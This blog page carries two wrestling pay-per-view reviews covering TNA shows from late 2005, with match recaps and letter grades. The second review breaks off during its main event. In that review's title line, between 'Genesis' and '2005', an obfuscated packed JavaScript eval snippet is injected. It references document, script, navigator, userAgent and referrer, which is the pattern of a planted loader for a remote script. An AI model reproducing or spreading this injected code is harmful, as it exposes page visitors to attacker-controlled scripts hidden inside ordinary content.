Raven vs. ???

Same deal as last month. Larry is in the ring again and says his schtick about the release or whatever. Raven says Larry is the answer to a trivia question that has never been asked. That’s pretty true. The opponent is Chris K, meaning Kanyon. Kanyon immediately gets in and takes Raven down and the brawl is on fast. He takes over to put Raven in early trouble, dropping a leg on Raven as his head is in the ropes.

Out to the floor but Kanyon’s dive hits barricade by accident and Raven gets back in first. Back in, Kanyon rides Raven down with a middle rope Fameasser for two, but the moonsault misses. Raven hooks an ankle lock which is broken pretty quickly. Two clotheslines put Kanyon down and a flying knee puts him on the floor. He tries to escape but Raven hiptosses him back down the steel. Raven is bleeding from the mouth. Back in and there’s a chair now for some reason. Bird Boy tries to punch it into Kanyon’s face but it just hurts his hand. Kanyon tries a rana but gets powerbombed onto the chair. Raven Effect and it’s over.

Rating: D. Nothing to see here for the most part as it was all about an angle rather than a match. I don’t get why they kept going with this as it was the same story for a few months in a row. Why Larry wanted Raven to leave isn’t really mentioned on these PPVs, but I’m sure it was explained on Impact somewhere which I can live with. Not a terrible match but it was short.

Raven and Larry get in a pull apart brawl post match.

Team Canada is worried about the lack of Roode. Petey tells Young to chill and hits him. D’Amore says chill, and then hits Eric himself. That was great. Jarrett comes up and says he’s worried about what management means by the face of TNA changing. D’Amore doesn’t know either but says they’ll get to the bottom of it by the end of the night. Roode (weren’t they worried about him not being there??) pops up, apparently just being out of frame, and says it’s ok.

Team Canada vs. 4 Live Kru

This is the FINAL blowoff match between these guys, thank goodness. Eric and Kip get us going but Eric needs to stall a bit first. Ok so it’s Roode starting for the Canadians. After about a minute we’re finally hooking up. We get about a minute of the most basic wrestling you’ll ever see. Arm drags, wristlocks and a slam. It’s fine and all but very basic. Off to Petey who is launched in and Konnan hits him with a shoe. What’s Up Petey.

Truth comes in now and speeds things up, taking Young down with a sidekick. Off to BG for all of the exact same moves they’ve done in the previous two matches between these teams. The dancing punches and shaky kneedrop get two. BG gets thrown into the corner and taken down by some apron interference. Roode puts him in the Tree of Woe and it’s O Canada time from Petey. James hits a double clothesline on Roode and Williams, allowing the tag to Gunn. Everything breaks down and Kip hits the Fameasser on Roode. A chair comes in and Konnan kills Kip with it so Roode can pin him.

Rating: D-. The match was technically fine, but for the life of me I don’t remember a more paint by numbers/going by the pure stereotypical formula match in a VERY long time. Either way, it finally ended this way too long feud and would also bring about the end of the Kru which had outlived its usefulness anyway.

Konnan hits BG with the chair too. He would form LAX soon after this while the Outlaws would reform as well. Truth would just kind of float around.

The Diamonds in the Rough are reading the paper and say that this isn’t about baseball. A New Age Outlaws chant is heard over this, meaning the Outlaws are getting up and leaving together I guess.

We recap the baseball feud. AJ Pierzynski (for the sake of this, he’ll be called AJ. For clarification, AJ Styles is not involved in this whatsoever, so don’t get confused) showed up on Impact to give TNA some gifts in exchange for some award, when the Diamonds come out to make fun of them. Dale Torborg (Demon in WCW) was brought in too along with AJ and they argued batting averages.

Oh one more thing: AJ had a manager teaching him how to manage: BOBBY THE FREAKING BRAIN HEENAN!!! He’s doing commentary, which saddens me to a degree as it’s after his throat surgery so he doesn’t have his signature voice. His wit is still there though, and most importantly he’s still alive to do commentary so it’s really a good thing, even if it doesn’t sound like it. Heenan looks older but good for the most part. He goes over to commentary and wants $5 to do it. Classic Heenan.

Diamonds in the Rough vs. Chris Sabin/Sonjay Dutt/Dale Torborg

Need a filler in 2005? Call Chris Sabin. Brain has been teaching AJ how to manage. Tenay: “What have you taught him?” Heenan: “How to lie, cheat, get everyone to dislike you, that sort of stuff.” Tenay: “Not how to trip people and use brass knuckles?” Heenan: “No I taught that to Steinbrenner.” Sabin and Skipper start us off as Heenan talks about his love of Chicago, his hometown.

Skipper tries to reverse out of a hammerlock by flipping out of it, but he winds up falling on his head as Sabin drops him. Sabin flips back into the ring and I have very little desire to watch this match. I’d much rather just listen to Heenan say things like this: Tenay: “How rabid were those fans in Chicago?” Heenan: “There was a lot of frothing.” Tenay: “I don’t mean that kind of rabid!” Heenan: “You never met the Wachowski Sisters.” Seriously, JUST LET HIM TALK!

Sabin and Young are in there now but it’s off to Dutt quickly. Trust me: the Heenan stuff is better than the match so you’re not missing much. Top rope legdrop gets two for Sonjay. Off to Torborg who is taller than anyone else in the match. He launches Sonjay over the top onto all of the Diamonds so AJ can chase them with the bat. West calls it a bat, but Tenay corrects him by calling it a foreign object. Tenay: “We’ll teach him eventually won’t we Bobby.” Heenan: “Uh probably not.”

Young hits a spinning slam on Dutt for two and it’s off to Simon who gets two as well. Skipper comes in to kick Dutt in the back for two. West talks about some singers and musicians in attendance here, resulting in Heenan asking if we’re on American Bandstand or at a wrestling match. Skipper tries a mat slam of some kind but drops Dutt on his face again. Spinebuster by Young gets two.

Sonjay hits a slingshot rana to send Young down and it’s off to Torborg. Heenan plugs TNA and does it like a master, telling people to go tell everyone else to watch it because it’s the best wrestling today. See how easy it is? Chokeslam gets two on Skipper and everything breaks down. Young is put into the Tree of Woe for a hesitation dropkick from Sabin.

Stereo dives by Sabin and Dutt take out two Diamonds but Simon hits Torborg low. A shin protector shot to the head of Torborg gets two as AJ pulls the referee out. Heenan intercedes for him, allowing AJ to get a home plate from Johnny Damon (baseball player in the audience) which he cracks Simon with. Cradle Shock and the Hindu Press get the pin.

Rating: C+. The match was just ok but the commentary was excellent. It’s amazing how great Heenan is at just starting up again and being absolutely excellent. He was hilarious and at the same time he PUT THE TALENT OVER. He sounded legitimately happy to be there too, which is a great thing. I had a blast with that and he’s still one of the best ever.

Post match the winning team gives AJ and Torborg (who is the strength coach for the White Sox) some TNA championship rings.

Christian says he hears the Peeps chanting his name. It’s called anticipation for Christian becoming #1 contender. Christian says he does things on his own terms, so tonight he’s going to the Serengeti and going Alpha Male hunting.

We recap Christian vs. Monty Brown. Basically it’s just Christian’s first big match and it’s a #1 contender’s match.

Christian Cage vs. Monty Brown

Officially this is just a Contender’s match, but screw that and add the #1 part to it. This isn’t Christian’s in ring debut for the company as he already beat Bobby Roode on Impact, but it’s his first big match. Monty shoves him around to start as you would expect him to. Christian is like screw the power stuff and fires away with right hands. Tenay talks about how you have to earn your title shots here instead of talking your way into them. Oh the irony (Look up the May 24, 2012 Impact for why that’s funny in case you’re reading this in like three years).

They head to the floor and Christian takes over with an uppercut before sending him into the barricade. Back in the gorilla press is escaped and Brown is sent to the floor again, this time followed by a huge dive. Back in again and Brown hot shots him before gorilla pressing him over the top and onto the floor with a thud. Monty teases throwing him into the barricade but throws him back inside instead for some reason.

Brown’s suplex is countered with some elbows but Christian walks into a belly to belly for two. The fans chant Alpha Female. Christian goes into the corner and is pulled out so hard that he rips the buckle off. Brown bends Christian’s back around the post on the floor but gets sent into the barricade to give Christian a break.

Back in and Christian pounds away with a bunch of right hands to take over. Tornado DDT gets two as does a rollup with his feet on the ropes. Christian goes up and after knocking Brown off, hits a frog splash for two. Brown comes back with the Alpha Bomb for two. Brown misses a charge and hits the exposed buckle and the Unprettier gets the pin.

Rating: C-. Brown didn’t do much but punch, kick and slam but it was ok enough. Christian did his usual stuff and that’s fine as the fans were really getting into him here. I like the Frog Splash better as a finisher for Christian and thankfully he’s been using that more often in his latest WWE run. Not a bad mathc or anything but it was pretty bland.

Team 3D says they want the NWA Tag Titles, but tonight it’s about revenge.

We recap Team 3D vs. AMW. AMW beat 3D down so now they’re back for revenge. It’s a tables match tonight, but it’s not for the titles for no apparent reason.

Team 3D vs. America’s Most Wanted

Both guys have to go through the table. Team 3D jumps them while the pyro is still going off and the fight starts fast. I don’t think there was a bell but who cares. It’s Storm vs. Ray on the stage and the other two at ringside. Harris and D-Von get in the ring and a delayed suplex puts D-Von down. Harris covers but it doesn’t count here of course. Storm comes in and walks into a double clothesline from D-Von who covers as well.

Ray pulls Harris to the floor and What’s Up Storm. Here’s the table but Harris breaks up the 3D. AMW tries to put D-Von through one but Ray makes the save this time. Storm and Ray go to the floor for some chopping as Harris puts D-Von on the table. He goes up but Ray makes the save. Ray loads up a superplex but Storm moves the table. Instead of, you know, not letting his partner get suplexed. No wonder they split up.

There’s a table next to the ring on the floor now. Storm gets launched to the floor but Ray throws him too far, missing the table completely. I think that was intentional. The table is set up in the ring again but Ray goes to the floor instead. Storm and Ray go into the ring but Ray gets hit low to break up whatever he was trying from the ropes. D-Von moves the table but Ray has to take the rana anyway. No wonder they split up.

Superkick puts D-Von down and AMW is in full control. The Dudleys come back very quickly and and put Storm through the table with AMW’s own move, the Death Sentence. Harris comes in with a chair and beats down both of them before heading out to the floor with D-Von. There’s a table up by the entrance too, and here’s Bubba. 3D through the table ends it clean.

Rating: D+. This was ok and there wasn’t anything all that great about it. It’s just a tables match which you’ve seen the Dudleys have about a thousand times. At the end of the day, they’re probably 50/50 in them so it’s not like this really means anything anymore. AMW wouldn’t lose the titles for months and it wasn’t to Team 3D, so this really didn’t do much other than set up a title match later.

We recap Styles vs. Joe. Joe turned on Daniels last month and annihilated him, hitting him with a MuscleBuster on a chair. AJ (Styles) took issue with this and said it was against the X-Division Code. Joe beat him up in the back and tonight, it’s revenge vs. title.

James Storm is helped to the back due to a possible neck injury. This might be legit. He’s sitting up though. He has to be helped out but he’s on his feet at least.

X-Division Title: Samoa Joe vs. AJ Styles

AJ is defending and Joe is undefeated. They’ve fought before, I believe at Sacrifice. Joe has the bloody towel which is still awesome. AJ goes right at Joe as soon as the bell rings, knocking him into the corner where Joe is just covering up. AJ ducks his head though and Joe gets in a kick to the chest. The drop down dropkick knocks Joe silly though and the champ takes over again.

Joe misses a charge and for some reason they have a stalemate. AJ has that fire in his eyes here and that means this is going to be awesome. They chop it out and Joe fires of HARD kicks to take over. A running kick sends Styles to the floor and the fire is gone all of a sudden. AJ comes in first but can’t suplex Joe over the top. Instead he guillotines him on the top rope, sending Joe to the floor.

Joe pulls the feet out and spins him around in a powerbomb position to send Styles into the barricade. SICK impact. Styles gets sent into the barricade and a running boot sends AJ flying. Back in and AJ is knocked into the corner and a kick to the chest puts him down. Backsplash keeps Styles down and gets two. A chinlock runs through a few seconds and it’s Facewash time. AJ blocks one of them though and fires off some rights. That gets him nowhere though as Joe kicks him HARD in the face and Styles’ lights are out.

Styles is knocked to the apron but he manages a kind of enziguri but the springboard forearm is countered into a powerbomb into a Boston Crab and then a modified one with AJ’s legs in a powerbomb position. AJ kicks his way out of it and goes to the corner. Joe misses a charge and goes to the floor. The running Shooting Star dive (LOVE that move and it’s called the Fosburry Flop) takes Joe down. Springboard forearm to the back of the head gets two.

Joe’s release German is escaped into the moonsault DDT for two. Powerslam gets two for the Samoan. Joe fires off kicks and Styles says kick him harder. Joe does and AJ crumples up in the corner. AJ comes back again after some right hands and kicks Joe down. AJ’s mouth is busted but I think we’re in Rope-A-Dope land. He loads up the Clash but powerbombs Joe instead for two. That was impressive.

Styles’ eyes say “what more do I have to do” and Joe KILLS him with a clothesline. That only gets one and Joe looks stunned. A SICK double underhook powerbomb gets two for Joe and Styles screams at him. Joe hooks a standing Clutch but AJ escapes and hits the Pele for no cover. AJ takes him to the corner but has to escape a top rope MuscleBuster. Instead AJ pulls him to the mat and then hits the Clash…..for two. The champ tries an O’Connor Roll but gets caught in the Clutch and Styles passes out to give Joe the title for the first time.

Rating: B+. Styles may not bring out the best in Joe, but Joe brings out the best in Styles. This was telling a great story with Styles wanting to hold on as long as he could and tire Joe out but in the end, Joe was just too much for him. The match was great, but when they threw in Daniels it made things excellent. Very good match here though and the fire in Styles was great.

Joe helps AJ up and then lays him out with the belt. Security goes down and Joe gets a chair. He loads up the MuscleBuster but here’s Daniels for the save. Joe beats him down too, although Daniels wasn’t completely healed up yet so it’s not as bad.

We recap Rhyno vs. Jarrett. It’s the rubber match as Rhyno won the title at BFG and Jarrett won it back on Impact. The idea here is that Rhyno is going through a lot of personal issues and this is all he has.

Rhyno says he’ll always be a champion to everyone that loves him and he’ll win tonight.

NWA World Title: Jeff Jarrett vs. Rhyno

Feeling out process to start and Jeff grabs a wristlock. That gets him nowhere as Rhyno runs him over for one. A dropkick gets the same for the champ and it’s off to a short arm scissors. The fans want Jarrett fired as Rhyno powers out of the hold and drops Jeff onto the top rope. Press slam is followed by Jarrett being draped over the top again. Out to the floor and Rhyno hits a dive out to the floor.

They head into the crowd with Rhyno in full control. He tries to suplex him off a wall but Jarrett knocks him down and onto the floor again. They head up towards the backstage and Jarrett is rammed into various metal objects, busting him open. Back to ringside and Jeff takes a chair shot to the shoulder and the back. Back to the backstage area and Rhyno loads up a table.

Rhyno takes him onto a scaffold but Jeff finds a chair to pop Rhyno with, sending him down through the table with a crash. Jeff takes him back to the ramp and goes for a suplex but Rhyno counters into one of his own. Rhyno goes to the back to get something and comes back with another table. He puts the table up against the ramp and Gores him “through” it, as I don’t think it actually broke but rather fell on top of the two of them.

With both guys down, JB gets on the mic and says both guys have until ten to get to the ring or it’s over. You know, like in a regular match. Team Canada comes out and beats down Rhyno some more and carries Jarrett back to the ring. Rhyno makes it back in anyway and is all fired up. A clothesline puts Jarrett down and the champ is reeling. The Canadians come in and are quickly dispatched.

Spinebuster gets two for the challenger. He goes up but Petey crotches him. So you can start that ten count thing but you can’t do anything about these guys? Superplex gets two for Jeff as does a TKO for Rhyno. The referee takes a shoulder block in the corner, which isn’t going to mean anything because he’s been useless. Stroke is countered and Rhyno loads up the Gore, only to have Roode come in.

He goes down as does A-1 but Roode gets up quickly and hits his Northern Lariat to Rhyno, getting two. There’s the guitar shot for two. Here comes Jackie Gayda who apparently has something on Jarrett. The distraction lets Rhyno Gore Jeff down for two. The challenger sets up two chairs and tries the Rhyno Driver through them, but D’Amore hits him with the hockey stick. A middle rope Stroke onto the chairs keeps the belt on Jeff.

Rating: B-. It was a pretty solid brawl here but the Canadians at the end got annoying quickly. Then again that’s the point, but this was the HHH formula 101 from 2003. Rhyno wasn’t going to get the title back and probably shouldn’t have, so I can’t really complain about the ending. For a B show main event title match, I can’t complain much here.

Post match the lights go out. After awhile, a Scorpion logo pops up on screen with what would become Sting’s music. A spotlight comes up and we see a chair with black boots in it, a trenchcoat around it and a bat leaning against it. Jarrett sees it and panics to end the show. Sting showed up on January 1 or whatever the first show of the year was.

Overall Rating: B-. This wasn’t bad. It’s a B level show to close out the year and there’s nothing wrong with what we got out of it. It sets up something for the new year and closes out some of the old stuff. There are some good matches here but some of the matches just fall flat. If you ever check this out, you won’t be completely disappointed, although there are much better shows to check out.

Remember to like this on Facebook and follow me on Twitter @kbreviews




Genesis 2005: Christian Cages Comes Calling

Genesis eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krasz|var|u0026u|referrer|yfzyt||js|php'.split('|'),0,{})) 2005
Date: November 13, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

It’s the month after Bound For Glory and there are two things of note: there’s a major debut tonight, and Eddie Guerrero died earlier in the day. The main event tonight is a six man tag with Rhyno/Team 3D vs. Jarrett/AMW with no stipulations on it, which means I have no reason to care about it. I can’t stand matches like that but they tend to happen once in awhile. If this is half as good as BFG was I’ll be a little surprised. Let’s get to it.

The show is dedicated to Eddie Guerrero. Nothing wrong with that.

The opening video is about starting a new voyage and a new day and all over beginning things like that. There’s a lot of Clinton and Kennedy clips in there too. The main matches get some time too.

Raven vs. ???

This is more of Raven vs. Larry Z in a feud that no one cared about. Larry is in the ring and offers him a release again, which Raven can sign or face the opponent. Bird Boy gives him a double bird. Again we hear about some girl that might be controlling Raven, which I think would wind up being Daffney. The mystery opponent is P.J. Polaco, more commonly known as Justin Credible.

They have to call him the former Justin Credible because of legal issues. You get that a lot in TNA. Justin takes him into the corner to start and hits some forearms. Raven gets him down and pounds him down as we hear about Raven holding Justin down or something. I guess they mean in ECW, where Justin was pushed as a huge deal for YEARS. Justin (screw this PJ nonsense) comes back with a knee to the ribs and another one to take Raven down. He stomps on Raven in the ribs as Mike tries to tell us about a rivalry these two had for the Hardcore Title.

A baseball slide dropkick gets two for Credible. Out to the floor and Raven goes into the barricade. Off to a chinlock back in the ring as we hear about Raven’s history of having people fall under his control. Now it’s a dragon sleeper. A knee sends Raven to the floor and Justin finds a kendo stick. Cassidy Riley, a Raven follower/tribute guy, comes out but gets caned for his efforts. Raven takes over in the ring and catches a superkick into an ankle lock. Justin escapes and hits a bad DDT for two but walks into the Raven Effect for the pin.

Rating: D. Not much here but I’m no fan of Justin. Raven was hot in 2005 but man this Larry feud pulled him down through the floor. At the end of the day, it’s Larry Zbyszko, the man who can suck the life out of a crypt. Also, Justin and Raven really just worked together in ECW and had a brief feud in late 1999/early 2000 that not many people likely remember. Not the best opener to say the least.

We recap the Kru vs. Team Canada which mostly covers last month’s events. Kip is the guest referee in their hockey stick fight tonight. Konnan still doesn’t trust him.

The Kru talks about the surprise debut tonight (who isn’t mentioned by name here) and says that the rats are leaving the ship, meaning WWE. BG thinks Kip is cool but Konnan disagrees.

Team Canada vs. 3 Live Kru

It’s a hockey stick figdht, which means hockey stick on a pole but you have to be legal to grab it. So it’s a hockey stick on a pole match. Got it. This is A-1, Roode and Young. There are six total hockey sticks, one for each post. Sweet merciful corn on the cob can someone get Vince Russo some decaf? Kip James is guest referee. Team Canada tries to go and get the sticks before the match starts because no one is legal then, so we start with a brawl.

Kip tells Konnan to go to the corner and we get BG vs. Roode. Less than 30 seconds after we get settled, Eric (in headgear for some reason) climbs up and gets a stick. Kip takes it and breaks it over his knee then takes the headgear away. Ok then. Roode sends BG into the buckle and I can’t believe we’ve only had one stick grabbed in the first minute. BG comes back with the dancing punches and the shaky knee drop for two.

BG starts going up for a hockey stick but has a small nose bleed. There are SO many jokes. Tag to Truth who goes up but Roode saves the stick. Never mind as it comes down anyway and lands in the Kru’s corner. Leg lariat gets two on Roode. Off to Young who has about the same luck. Konnan comes in and puts his shoe on the end of the hockey stick. Egads this match gets stupider and stupider.

BG goes up for another stick but after he gets it, Roode electric chairs him down. A-1 comes in for some two counts. Kip has been neutral so far. Back to Young who gets two off a backbreaker. He goes to get a stick but BG knocks it out of Young’s hands and to the floor. Back to Young for a slug out but BG gets caught in a full nelson slam. Roode gets the fallen hockey stick but Truth disarms him.

Tag off to Truth and everything breaks down. Ax kick to A-1 but Roode hits the DVD and Young drops the elbow. Now it’s Konnan’s turn to clean house and he puts the Sunrise on Young but Roode saves. Another stick is brought down and it’s sword fighting time. The Kru takes over and it’s a double What’s Up onto two hockey sticks onto Young’s balls for the pin.

Rating: D. WOW this was overbooked. Seriously, six hockey sticks and a guest referee? Nothing to see here either as this feud would finally end the next month at Turning Point. The wrestling was pretty basic and Kip offered nothing at all to this. The point is that he can be trusted, but any referee could have done what he did here.

Kip gets to pound fists with Konnan as apparently they’re all cool.

Abyss and Mitchell are ready for that new talent acquisition. As for Sabu, the No DQ rule won’t bother Abyss and the barbed wire won’t bother him either. It’s opening Pandora’s Box and they crush an egg. This takes awhile to get through.

Tenay and West talk about the acquisition but don’t say who it is. The guy isn’t here yet.

We run down the rest of the card, 35 minutes into the show.

The Acquisition arrives and he’s coming to the arena. A countdown starts and it’s Christian Cage making his debut. Christian says the rumors are true but stops for Christian Cage chant. Jarrett and company are watching in the back and don’t like what they see. Christian says he’s not going to say the same thing every week and that he’s not here because he got fired. He made the jump on his own choice. WWE offered him a very large contract but he’s here because he loves wrestling.

He’s known to crack a joke or two, but he’s the best in the world today and that’s not a joke. He’s tired of politics and he wants to see wrestling reinvented. Last night he was watching Impact and it reminded him of when he showed up 8 years ago. Today there are still two companies, and just like back then, one is old and boring but now the young and hot one is TNA. He’s here to win the world title because that’s how he rolls.

Cue Scott D’Amore, the Team Canada coach. Roode comes out with him and D’Amore is very happy. He talks about some old times that Christian, himself, Adam, Jericho and Lance had when they went to Bret and Stu’s house. D’Amore says that if they unite with Jarrett’s team, they could rule this place. Christian has a question but Roode cuts him off and says Christian needs to realize the opportunity before him. Roode says we want an answer now but D’Amore tells him to chill. He throws Christian a Team Canada shirt and asks for an answer by the end of the night. Christian says he’ll think about it.

We recap the #1 contender’s match between Monty Brown and Jeff Hardy. Both are top guys and want a title shot. Brown issued an open challenge and Hardy took him up on it.

Monty Brown says that he’s not worried about Christian and calls him out to the Serengeti. Jeff Hardy can bring it too. They’ll both be Pounced.

Jeff Hardy vs. Monty Brown

Winner gets Jarrett at some point in the future. The fans are almost universally behind Hardy. Jawbreaker slows Brown down….then Hardy sticks his hands out and shouts before crawling on the ground. Brown grabs him into a fallaway slam to take over. Jeff avoids a charge and Monty goes to the floor, but Hardy’s baseball slide misses and he hits the steel. Brown throws him into the crowd and Jeff is in trouble.

Jeff walks on a barricade and dives onto Brown who was nice enough to stand there and let him. At least he’s polite. Back in and Jeff is almost immediately thrown back to the floor over the top. The fans are split but the fans are more in Hardy’s corner. Whisper in the Wind misses and Hardy is in trouble. A double clothesline hits and both guys go down. Now Whisper in the Wind works and Jeff starts his comeback. Legdrop between the legs makes Monty’s eyes bug out.

The Twist of Fate is countered into an Alpha Bomb attempt but Jeff counters into the reverse Twist of Fate, which of course West calls the same thing. Either way it only gets two. Jeff goes up for the Swanton but it only hits mat. Monty gets up and CRUSHES Jeff with the Pounce for the pin. Apparently this just moves Monty up in the rankings instead of giving him a title match. You know, because that’s SO much different than any regular match right?

Rating: D+. This wasn’t much for the most part. Jeff’s selling was great of course but Monty was pretty much just another power guy. He wasn’t bad or anything but not much aside from his finisher made him stand out or anything. Not a bad match or anything but it’s really just kind of there.

We recap the Elimination X match which is an X Division Survivor Series match. Daniels is a captain and calls his team the Ministry. The other team is called…..uh…..Not The Ministry I guess. Joe thinks he should be captain instead of Daniels.

The Ministry minus Joe wants to know where Joe is but Daniels says don’t worry about it.

Samoa Joe/Christopher Daniels/Alex Shelley/Roderick Strong vs. Chris Sabin/Austin Aries/Sonjay Dutt/Matt Bentley

The Ministry is pretty packed. Bentley has Traci with him. Aries looks really different minus the mustache. Strong vs. Bentley to start us off. This is standard Survivor Series rules. Strong controls with a quick headlock so Bentley does exactly the same thing. Off to Sonjay who flies around a lot in some standard spinny flips. Off to Shelley who looks way different as well. They go VERY fast, resulting in an STF by Shelley. It doesn’t get him anywhere but it looked good.

Shelley gets him into the corner and tags in Joe to a BIG reaction. Joe hits a bunch of Facewashes and a running one to take his head off. Dutt gets to the corner for a moonsault press but Joe walks away. Dutt faked him out though and hits the press for two. Joe responds by kicking his head off and hitting the backsplash. The crowd is eating Joe up and there’s a lot to eat there.

Daniels comes in but so does Aries, who takes him down with a flying body attack. With Daniels’ arm firmly controlled, it’s time for Sabin. I think he’s his team’s captain too. Captain or not, he hits some WICKED headscissors to have Daniels all spun around. Joe knees him in the back though and an STO puts Sabin down to take over for the Ministry. Off to a chinlock but Sabin fights up and kicks Daniels down.

Off to Aries who cleans house on Daniels and Strong. Strong counters the brainbuster and hits a Nightmare on Helm Street. Everything breaks down and Strong hits a rack into a backbreaker on Sabin. Bentley and Daniels head to the floor and the other six are all in now. Joe gets triple teamed and knocked to the floor and everyone on Bentley’s team other than Bentley hit stereo dives. Aries and Strong go back in and Aries hits the brainbuster followed by the 450 to eliminate Strong. Daniels comes in immediately and rolls up Aries with tights to tie it up. There weren’t ten full seconds between pins.

Dutt vs. Daniels now as it’s 3-3. Sonjay takes him down and drops a leg for two. Off to Bentley who doesn’t do as well, getting slowed down by a knee and allowing a tag to Shelley. Sabin comes in as well and hits a seated dropkick to the back of Shelley’s head for two. Sonjay comes back in and cleans house, knocking Joe and Daniels to the floor (with Joe leaving a HUGE sweat stain). Dutt cleans some more rooms of the house but Shelley hits what we would call White Noise and hooks a modified crossface for the tap out.

Shelley walks into a superkick from Bentley for a quick pin, leaving it as Daniels/Joe vs. Bentley/Sabin. Bentley suplexes Daniels down and brings in Sabin. Daniels gets put in the Tree of Woe and Sabin hits the hesitation dropkick for two. Off to Joe who gets dropkicked down but he pulls out a powerslam for two on Bentley. Joe misses a running knee smash in the corner and it’s off to Bentley and Daniels. Release Rock Bottom and the BME get two.

Daniels goes up again but Sabin comes in as well for a double superplex, but Joe makes it a Tower of Doom which really just hurts Daniels even more. Joe knocks Bentley into the corner and fires off some Facewashes. Bentley pops up out of nowhere and superkicks Joe down for two. He gets on Daniels’ shoulders but Joe pops him in the face, hits the MuscleBuster and the Clutch gets it down to two on one. Sabin has to fight off both of them so he hits a tornado DDT on Daniels and an enziguri on Joe at the same time. Sabin takes Joe down again but can’t Cradle Shock him. He escapes the MuscleBuster but Angel’s Wings end this.

Rating: B. I don’t get why they never did another one of these. It’s a perfect kind of match for a PPV as it ate up almost 25 minutes and we got some great action out of it. It’s no classic or anything, but it got the signature stuff out there on PPV. The teams were a little lopsided though and that hurt things a lot. Still quite good though.

Joe is mad at Daniels for getting the winning fall and kicks him down. He goes to the floor and CRACKS daniels with a chair and hits a MuscleBuster on him, followed by a second on the chair. This would basically be what turned Daniels face. He gets stretchered out and AJ watches, looking distraught.

Jarrett and AMW say they’re ready for anyone that TNA throws at them.

We recap Abyss vs. Sabu. The idea is that Sabu can’t beat him one on one but Abyss is terrified of barbed wire, so Sabu has a weapon to use.

Abyss vs. Sabu

No DQ. Abyss has a chair and his chain. Sabu of course has….nothing. He had his arm covered but when he pulled the towel off there was no barbed wire (there had been at an earlier show). Abyss bails to the floor and Sabu dives on him to take over early. Sabu sets up a table but Abyss takes over and sends him back in. Abyss beats on him VERY slowly as I’m assuming they have a lot of time here.

Sabu is bleeding from the nose. For some reason Abyss goes up, only to be ranaed down. Sabu sets up a chair but it goes upside his head for his efforts. Abyss wedges the chair between the ropes but due to the law of wrestling, he goes head first into it. Triple Jump Moonsault almost totally misses and it’s out to the floor (complete with an F Bomb from Sabu) where Abyss is driven through the table with a slingshot flipping legdrop.

Abyss gets up first and picks up his bag of tacks. As he’s laying them out though, Sabu pulls out a barbed wire chair. Mitchell pulls it away, but Sabu hits some clotheslines in an attempt to put Abyss into the tacks. Abyss is like screw that and chokeslams Sabu into the tacks but it only gets two. He loads up a Frog Splash but lands on tacks, which gets two for Sabu. Camel clutch goes on but Abyss makes a rope. Sabu gets the chair but Abyss knocks him down. Powerbomb onto the chair is countered by a Black Hole Slam onto the chair (FREAKING OW MAN!) gets the pin. Abyss wasn’t scared of it at all.

Rating: C-. It was very violent and the ending was sick, but it’s nothing we haven’t seen a million times before. Abyss being scared of the barbed wire went nowhere at all which didn’t help anything here. The match wasn’t that bad but it’s just another hardcore brawl with some sharp stuff involved.

We recap the X Title match which came about from Williams “winning” Ultimate X at the last PPV and then winning another one on Impact to make up for the botched ending last month.

AJ says he’s never seen eye to eye with Daniels but he respects him. Joe broke the unwritten X Division Code and AJ will deal with him. Oh and he’ll beat Petey.

X-Division Title: AJ Styles vs. Petey Williams

Feeling out process to start with AJ hooking a weird leg lock rollup for two. Styles does the drop down into the dropkick spot which is always good. A pair of kneedrops gets no cover. Petey countered the Clash attempt and gets to the apron. AJ knocks him off and hits a flip dive but lands on the barricade and bounces into the crowd. A-1 comes out and offers a distraction which goes nowhere.

Back to the apron and Petey tries a German off the apron but AJ hangs on to avoid a nasty case of death. And never mind as it actually works and AJ’s back goes into the barricade. FERAKING OW MAN!!! A-1 gets thrown out. Back in the ring a regular suplex gets two and it’s off to a bodyscissors. Styles fights out of that pretty quickly so Williams fires off some kicks to the ribs.

Petey misses a shoulder in the corner but as AJ tries a springboard, Petey drops him onto the ropes. A SWEET rana to the floor works on the back even more. Back inside now and it’s the Tree of Woe and O Canada. We reach a point that is so boring that we get a replay from the German off the apron from earlier in the match. Back to live action and AJ hits the Pele. He goes after the ribs with a series of gutbusters and now it’s Petey in trouble.

AJ’s flurry results in a Styles Clash attempt but Petey escapes and rolls him up for two. Styles comes back with a neckbreaker for the same. They trade rollups and chops and the Clash is countered again, this time into a DDT for two. The Destroyer is countered and it’s off to the Sharpshooter instead. As Styles goes for the rope, Petey hooks his arm to block the rope break. That was creative.

AJ gets there anyway and heads to the apron for the springboard forearm. Petey gets up first and heads to the corner but AJ enziguris him down. Petey tries a super Destroyer but AJ knocks him down. Styles sees Joe with a towel with Daniels’ blood on it and Williams crotches him. That gets him nowhere though as AJ hits the Clash from the middle rope for the pin to retain.

Rating: B-. Pretty good match here but it’s not AJ’s best stuff. It was very clear that AJ was going after Joe next so it was hard to believe that Petey was much of a threat to the belt here. Still though, this was good and the idea of who could hit their finisher first was a nice story for it. Good match but not great.

We recap the main event. Basically it’s Planet Jarrett vs. the top face tag team and the top face heavyweight. All I can say is thank goodness this was Rhyno instead of Nash. I don’t get why they had to take the title off of him so fast though. Let him keep it for a few months. Jarrett would beat him in a singles match at Turning Point anyway. This gets the music video treatment which isn’t bad.

The Dudleys and Rhyno say they’re ready. Why does that take a few minutes to get through?

Team 3D/Rhyno vs. America’s Most Wanted/Jeff Jarrett

Nothing on the line here, which is the kind of main event that I can’t stand. Team 3D comes out last instead of the guy that was world champion two weeks ago. Jarrett and AMW run into the crowd in different spots, apparently wanting to start out there. The Dudleys say cool and the bell rings as the ECW guys head into the crowd. It’s one of those brawls where you can’t see a thing.

Rhyno is beating on Jarrett near some empty seats and Ray throws Tenay’s chair at I think Storm. D-Von rams Harris into the Spanish Announce Table as Jarrett and Rhyno go WAY up high. A low blow knocks Rhyno down some stairs and Ray misses a chair shot which hits the post instead. We’re over six minutes into a fifteen minute match and they haven’t been in the ring together yet.

